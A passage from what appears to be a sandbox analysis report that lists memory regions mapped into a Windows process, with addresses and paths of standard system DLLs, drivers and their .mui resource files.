"c:\\windows\\system32\\advapi32res.dll") Region: id = 6157 start_va = 0x196ee9f0000 end_va = 0x196eea00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6158 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6159 start_va = 0x196ee9f0000 end_va = 0x196eea00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6160 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6161 start_va = 0x196ee9f0000 end_va = 0x196eea00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6162 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6163 start_va = 0x196ee9f0000 end_va = 0x196eea00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6164 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6165 start_va = 0x196ee9f0000 end_va = 0x196eea00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6166 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6167 start_va = 0x196ee9f0000 end_va = 0x196eea00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6168 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6169 start_va = 0x196ee9f0000 end_va = 0x196eea00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6170 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6171 start_va = 0x196ee9f0000 end_va = 0x196eea00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6172 start_va = 0x196ee9e0000 end_va = 0x196ee9effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mrxsmb.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\mrxsmb.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\mrxsmb.sys.mui") Region: id = 6173 start_va = 0x196ef3b0000 end_va = 0x196ef421fff monitored = 0 entry_point = 0x196ef407000 region_type = mapped_file name = "mrxsmb.sys" filename = "\\Windows\\System32\\drivers\\mrxsmb.sys" (normalized: "c:\\windows\\system32\\drivers\\mrxsmb.sys") Region: id = 6174 start_va = 0x196ee9e0000 end_va = 0x196ee9effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mrxsmb.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\mrxsmb.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\mrxsmb.sys.mui") Region: id = 6175 start_va = 0x196ef3b0000 end_va = 0x196ef421fff monitored = 0 entry_point = 0x196ef407000 region_type = mapped_file name = "mrxsmb.sys" filename = "\\Windows\\System32\\drivers\\mrxsmb.sys" (normalized: "c:\\windows\\system32\\drivers\\mrxsmb.sys") Region: id = 6176 start_va = 0x196ee9e0000 end_va = 0x196ee9f8fff monitored = 0 entry_point = 0x196ee9eb610 region_type = mapped_file name = "eqossnap.dll" filename = "\\Windows\\System32\\eqossnap.dll" (normalized: "c:\\windows\\system32\\eqossnap.dll") Region: id = 6177 start_va = 0x196eea00000 end_va = 0x196eea05fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "eqossnap.dll.mui" filename = "\\Windows\\System32\\en-US\\eqossnap.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\eqossnap.dll.mui") Region: id = 6178 start_va = 0x196ee9e0000 end_va = 0x196ee9f8fff monitored = 0 entry_point = 0x196ee9eb610 region_type = mapped_file name = "eqossnap.dll" filename = "\\Windows\\System32\\eqossnap.dll" (normalized: "c:\\windows\\system32\\eqossnap.dll") Region: id = 6179 start_va = 0x196eea00000 end_va = 0x196eea05fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "eqossnap.dll.mui" filename = "\\Windows\\System32\\en-US\\eqossnap.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\eqossnap.dll.mui") Region: id = 6180 start_va = 0x196ee9e0000 end_va = 0x196ee9e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "peerdistsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\PeerDistSvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\peerdistsvc.dll.mui") Region: id = 6181 start_va = 0x196ef3b0000 end_va = 0x196ef598fff monitored = 0 entry_point = 0x196ef3b15f0 region_type = mapped_file name = "peerdistsvc.dll" filename = "\\Windows\\System32\\PeerDistSvc.dll" (normalized: "c:\\windows\\system32\\peerdistsvc.dll") Region: id = 6182 start_va = 0x196ee9e0000 end_va = 0x196ee9e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "peerdistsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\PeerDistSvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\peerdistsvc.dll.mui") Region: id = 6183 start_va = 0x196ef3b0000 end_va = 0x196ef598fff monitored = 0 entry_point = 0x196ef3b15f0 region_type = mapped_file name = "peerdistsvc.dll" filename = "\\Windows\\System32\\PeerDistSvc.dll" (normalized: "c:\\windows\\system32\\peerdistsvc.dll") Region: id = 6184 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wsmres.dll" filename = "\\Windows\\System32\\WsmRes.dll" (normalized: "c:\\windows\\system32\\wsmres.dll") Region: id = 6185 start_va = 0x196ef3b0000 end_va = 0x196ef409fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wsmres.dll.mui" filename = "\\Windows\\System32\\en-US\\WsmRes.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wsmres.dll.mui") Region: id = 6186 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wsmres.dll" filename = "\\Windows\\System32\\WsmRes.dll" (normalized: "c:\\windows\\system32\\wsmres.dll") Region: id = 6187 start_va = 0x196ef3b0000 end_va = 0x196ef409fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wsmres.dll.mui" filename = "\\Windows\\System32\\en-US\\WsmRes.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wsmres.dll.mui") Region: id = 6188 start_va = 0x196ee9e0000 end_va = 0x196ee9e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mprddm.dll.mui" filename = "\\Windows\\System32\\en-US\\mprddm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mprddm.dll.mui") Region: id = 6189 start_va = 0x196ef3b0000 end_va = 0x196ef48ffff monitored = 0 entry_point = 0x196ef442eb0 region_type = mapped_file name = "mprddm.dll" filename = "\\Windows\\System32\\mprddm.dll" (normalized: "c:\\windows\\system32\\mprddm.dll") Region: id = 6190 start_va = 0x196ee9e0000 end_va = 0x196ee9e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mprddm.dll.mui" filename = "\\Windows\\System32\\en-US\\mprddm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mprddm.dll.mui") Region: id = 6191 start_va = 0x196ef3b0000 end_va = 0x196ef48ffff monitored = 0 entry_point = 0x196ef442eb0 region_type = mapped_file name = "mprddm.dll" filename = "\\Windows\\System32\\mprddm.dll" (normalized: "c:\\windows\\system32\\mprddm.dll") Region: id = 6192 start_va = 0x196ee9e0000 end_va = 0x196ee9f5fff monitored = 0 entry_point = 0x196ee9f0420 region_type = mapped_file name = "synth3dvsc.sys" filename = "\\Windows\\System32\\drivers\\Synth3dVsc.sys" (normalized: "c:\\windows\\system32\\drivers\\synth3dvsc.sys") Region: id = 6193 start_va = 0x196eea00000 end_va = 0x196eea02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "synth3dvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\synth3dvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\synth3dvsc.sys.mui") Region: id = 6194 start_va = 0x196ee9e0000 end_va = 0x196ee9f5fff monitored = 0 entry_point = 0x196ee9f0420 region_type = mapped_file name = "synth3dvsc.sys" filename = "\\Windows\\System32\\drivers\\Synth3dVsc.sys" (normalized: "c:\\windows\\system32\\drivers\\synth3dvsc.sys") Region: id = 6195 start_va = 0x196eea00000 end_va = 0x196eea02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "synth3dvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\synth3dvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\synth3dvsc.sys.mui") Region: id = 6196 start_va = 0x196ee9e0000 end_va = 0x196ee9f5fff monitored = 0 entry_point = 0x196ee9f0420 region_type = mapped_file name = "synth3dvsc.sys" filename = "\\Windows\\System32\\drivers\\Synth3dVsc.sys" (normalized: "c:\\windows\\system32\\drivers\\synth3dvsc.sys") Region: id = 6197 start_va = 0x196eea00000 end_va = 0x196eea02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "synth3dvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\synth3dvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\synth3dvsc.sys.mui") Region: id = 6198 start_va = 0x196ee9e0000 end_va = 0x196ee9f5fff monitored = 0 entry_point = 0x196ee9f0420 region_type = mapped_file name = "synth3dvsc.sys" filename = "\\Windows\\System32\\drivers\\Synth3dVsc.sys" (normalized: "c:\\windows\\system32\\drivers\\synth3dvsc.sys") Region: id = 6199 start_va = 0x196eea00000 end_va = 0x196eea02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "synth3dvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\synth3dvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\synth3dvsc.sys.mui") Region: id = 6200 start_va = 0x196ee9e0000 end_va = 0x196ee9f9fff monitored = 1 entry_point = 0x196ee9e1190 region_type = mapped_file name = "workflowservicehostperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WorkflowServiceHostPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\workflowservicehostperformancecounters.dll") Region: id = 6201 start_va = 0x196eea00000 end_va = 0x196eea05fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "workflowservicehostperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\WorkflowServiceHostPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\workflowservicehostperformancecounters.dll.mui") Region: id = 6202 start_va = 0x196ee9e0000 end_va = 0x196ee9f9fff monitored = 1 entry_point = 0x196ee9e1190 region_type = mapped_file name = "workflowservicehostperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WorkflowServiceHostPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\workflowservicehostperformancecounters.dll") Region: id = 6203 start_va = 0x196eea00000 end_va = 0x196eea05fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "workflowservicehostperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\WorkflowServiceHostPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\workflowservicehostperformancecounters.dll.mui") Region: id = 6204 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsm.dll.mui" filename = "\\Windows\\System32\\en-US\\lsm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\lsm.dll.mui") Region: id = 6205 start_va = 0x196ef3b0000 end_va = 0x196ef46bfff monitored = 0 entry_point = 0x196ef3ec480 region_type = mapped_file name = "lsm.dll" filename = "\\Windows\\System32\\lsm.dll" (normalized: "c:\\windows\\system32\\lsm.dll") Region: id = 6206 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lsm.dll.mui" filename = "\\Windows\\System32\\en-US\\lsm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\lsm.dll.mui") Region: id = 6207 start_va = 0x196ef3b0000 end_va = 0x196ef46bfff monitored = 0 entry_point = 0x196ef3ec480 region_type = mapped_file name = "lsm.dll" filename = "\\Windows\\System32\\lsm.dll" (normalized: "c:\\windows\\system32\\lsm.dll") Region: id = 6208 start_va = 0x196ee9e0000 end_va = 0x196eea0afff monitored = 0 entry_point = 0x196ee9fd000 region_type = mapped_file name = "pacer.sys" filename = "\\Windows\\System32\\drivers\\pacer.sys" (normalized: "c:\\windows\\system32\\drivers\\pacer.sys") Region: id = 6209 start_va = 0x196eea10000 end_va = 0x196eea14fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pacer.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\pacer.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\pacer.sys.mui") Region: id = 6210 start_va = 0x196ee9e0000 end_va = 0x196eea0afff monitored = 0 entry_point = 0x196ee9fd000 region_type = mapped_file name = "pacer.sys" filename = "\\Windows\\System32\\drivers\\pacer.sys" (normalized: "c:\\windows\\system32\\drivers\\pacer.sys") Region: id = 6211 start_va = 0x196eea10000 end_va = 0x196eea14fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pacer.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\pacer.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\pacer.sys.mui") Region: id = 6212 start_va = 0x196ee9e0000 end_va = 0x196eea0afff monitored = 0 entry_point = 0x196ee9fd000 region_type = mapped_file name = "pacer.sys" filename = "\\Windows\\System32\\drivers\\pacer.sys" (normalized: "c:\\windows\\system32\\drivers\\pacer.sys") Region: id = 6213 start_va = 0x196eea10000 end_va = 0x196eea14fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pacer.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\pacer.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\pacer.sys.mui") Region: id = 6214 start_va = 0x196ee9e0000 end_va = 0x196eea0afff monitored = 0 entry_point = 0x196ee9fd000 region_type = mapped_file name = "pacer.sys" filename = "\\Windows\\System32\\drivers\\pacer.sys" (normalized: "c:\\windows\\system32\\drivers\\pacer.sys") Region: id = 6215 start_va = 0x196eea10000 end_va = 0x196eea14fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pacer.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\pacer.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\pacer.sys.mui") Region: id = 6216 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6217 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6218 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6219 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6220 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6221 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6222 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6223 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6224 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6225 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6226 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6227 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6228 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6229 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6230 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6231 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6232 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6233 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6234 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6235 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6236 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6237 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6238 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6239 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6240 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6241 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6242 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6243 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6244 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6245 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6246 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6247 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6248 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6249 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6250 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6251 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6252 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6253 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6254 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6255 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6256 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6257 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6258 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6259 start_va = 0x196ef3b0000 end_va = 